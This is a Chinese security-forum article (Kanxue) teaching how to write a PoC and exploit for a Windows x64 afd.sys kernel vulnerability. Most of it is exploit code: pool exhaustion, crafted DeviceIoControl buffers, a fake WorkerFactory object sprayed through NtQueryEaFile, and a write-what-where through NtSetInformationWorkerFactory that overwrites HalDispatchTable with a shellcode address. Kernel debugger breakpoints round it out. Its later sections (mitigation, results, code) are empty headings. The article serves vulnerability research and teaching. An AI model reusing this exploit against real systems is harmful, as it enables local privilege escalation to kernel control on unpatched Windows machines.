本文为看雪论坛精华文章
看雪论坛作者ID:ExploitCN
一
简介
① 本文侧重点在POC、EXP编写,从逆向与调试的角度引领你分析、编写POC、EXP;
② 本文是首篇针对该漏洞在x64平台下的分析、编写文章;
③ 全网最详细POC、EXP的编写说明;
④ EXP完全复用POC的代码;
⑤ 上传的EXP是我自己编写的。
二
POC分析
ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
if (FinalLength == 0x100)
{
break;
}
else
{
BaseLength += 1;
continue;
}
}
return BaseLength;
}
int main()
{
int nBottonRect = 0x2aaaaaa;
while (true)
{
HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
if (hrgn==NULL)
{
break;
}
printf("hrgn = %p\n", hrgn);
}
//这儿看IoAllocateMdl(ntoskrnl)
DWORD length = CalcLength();
printf("Length = %x\n", length);
DWORD virtualAddress = 0x13371337;
static BYTE inbuf1[0x40];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
*(ULONG*)(inbuf1 + 0x28) = length;
*(ULONG*)(inbuf1 + 0x3c) = 1;
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
*(ULONG*)(inbuf2) = 1;
*(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
}
三
x64平台POC编写指导
int nBottonRect = 0x2aaaaaa;
while (true)
{
HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
if (hrgn==NULL)
{
break;
}
printf("hrgn = %p\n", hrgn);
}
ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
FinalLength = ((BaseLength & 0xFFF) + ((unsigned
__int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
if (FinalLength == 0x100)
{
break;
}
else
{
BaseLength += 1;
continue;
}
}
return BaseLength;
}
__fastcall AfdTransmitFile(PIRP pIRP, PIO_STACK_LOCATION pIoStackLocation)
__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)
kd> dt _io_stack_location
ntdll!_IO_STACK_LOCATION
+0x000 MajorFunction : UChar
+0x001 MinorFunction : UChar
+0x002 Flags : UChar
+0x003 Control : UChar
+0x008 Parameters : <unnamed-tag>
//struct{
// +0x008 ULONG OutputBufferLength;
// +0x010 POINTER_ALIGNMENT InputBufferLength;
// +0x018 POINTER_ALIGNMENT IoControlCode;
// +0x020 Type3InputBuffer
//}
+0x028 DeviceObject : Ptr64 _DEVICE_OBJECT
+0x030 FileObject : Ptr64 _FILE_OBJECT
+0x038 CompletionRoutine : Ptr64 long
+0x040 Context : Ptr64 Void
static BYTE inbuf1[0x40];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
*(ULONG*)(inbuf1 + 0x28) = length;
*(ULONG*)(inbuf1 + 0x3c) = 1;
① 第103行表明,输入的inbuff2长度至少为0x18字节,所以我们定义的就是0x18字节;
② 由第114行可知,v7就是我们的inbuff2;
③ 由125行可知,inbuff2的第0个字节等于1,就不会进入if;
④ 由136行可知,输入的v52是分配系数,分配的大小是0x18输入长度,现在分配的长度是0xaaaaaaa018字节,而我们在第一阶段就已经把内存消耗完,这里执行只会失败。
综上,可得:
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
(ULONG)(inbuf2) = 1;
(ULONG)(inbuf2 + 0x8) = 0x0AAAAAAA;
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
四
x64平台EXP编写指导
const DWORD FakeObjSize = 0x100;
static BYTE FakeWorkerFactory[FakeObjSize];
memset(FakeWorkerFactory, 0, FakeObjSize);
static BYTE ObjHead[0x50] =
{
0x00,0x00,0x00,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x16,0x00,0x08,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
memcpy(FakeWorkerFactory, ObjHead, 0x50);
static BYTE a[0x18+0x4+0x4] =
{ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //18个
0x00,0x00,0x00,0x00, //*(_QWORD *)Object + 0x18
0x00,0x00,0x00,0x00
};
PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory + 0x50);
*pFakeObj = a;
printf("object a : = %p\n", a);
printf("pFakeObj = %p\n", pFakeObj);
kd> bl
0 d Enable Clear fffff800`01faab08 0001 (0001) nt!NtCreateWorkerFactory
1 d Enable Clear fffff800`01cb56d0 0001 (0001) nt!NtSetInformationWorkerFactory ".if(rdx==8){r rdx;r r9}.else{gc;}"
2 d Enable Clear fffff800`01cb5879 0001 (0001) nt!NtSetInformationWorkerFactory+0x1a6
3 d Enable Clear fffff800`01fc28fa 0001 (0001) nt!ObpAllocateObject+0x12a(这儿是NtCreateWorkerFactory的nt!ExAllocatePoolWithTag,看pool)
4 d Enable Clear fffff800`01faacc9 0001 (0001) nt!NtCreateWorkerFactory+0x1c1(这儿是createobject的下一句,看object)
NTSTATUS __stdcall NtQueryEaFile
(HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer, ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan)
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize , NULL, FALSE);
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = v64;
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = shellcode地址高四位
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = shellcode地址低四位
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C (低4位)
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C + 4 (高4位)
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C);
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C + 0x04);
static ULONG_PTR ShotAddress = (ULONG_PTR)ShellCode;
DWORD what_write2 = ShotAddress >> 32 & 0xffffffff;
DWORD what_write1 = ShotAddress & 0xffffffff;
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write1, 0x4);
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write2, 0x4);
上面fpSetInformationWorkerFactory函数第二个形参和第4个形参的选择分别是WorkerFactoryAdjustThreadGoal(0x8)、0x4,原因如下:
Src[11] = *(_QWORD *)(v14[0x10] + 0x180i64);
*(ULONG_PTR*)(pFakeObj + 0x10) = (ULONG_PTR)kHalDsipatchTable + sizeof(PVOID) - 0x180 ;
//然后构造fpQueryInformationWorkerFactory为:
static BYTE kernelRetMem[0x78];
memset(kernelRetMem, 0, sizeof(kernelRetMem));
fpQueryInformationWorkerFactory(hWorkerFactory,
WorkerFactoryBasicInformation,(0x7)
kernelRetMem,
0x78,
NULL);
kfpHaliQuerySystemInformation = *(PVOID*)(kernelRetMem + 8 * 0xB);
五
调试数据
0 e Disable Clear fffff880`05161581 e 1 0001 (0001) afd!AfdReturnTpInfo+0xe1
1 e Disable Clear fffff800`0432dfe1 e 1 0001 (0001) nt!NtQueryEaFile+0x171
六
缓解措施
七
提权结果
八
代码
九
后言
看雪ID:ExploitCN
https://bbs.pediy.com/user-home-945611.htm
# 往期推荐
2.高级进程注入总结
球分享
球点赞
球在看
点击“阅读原文”,了解更多!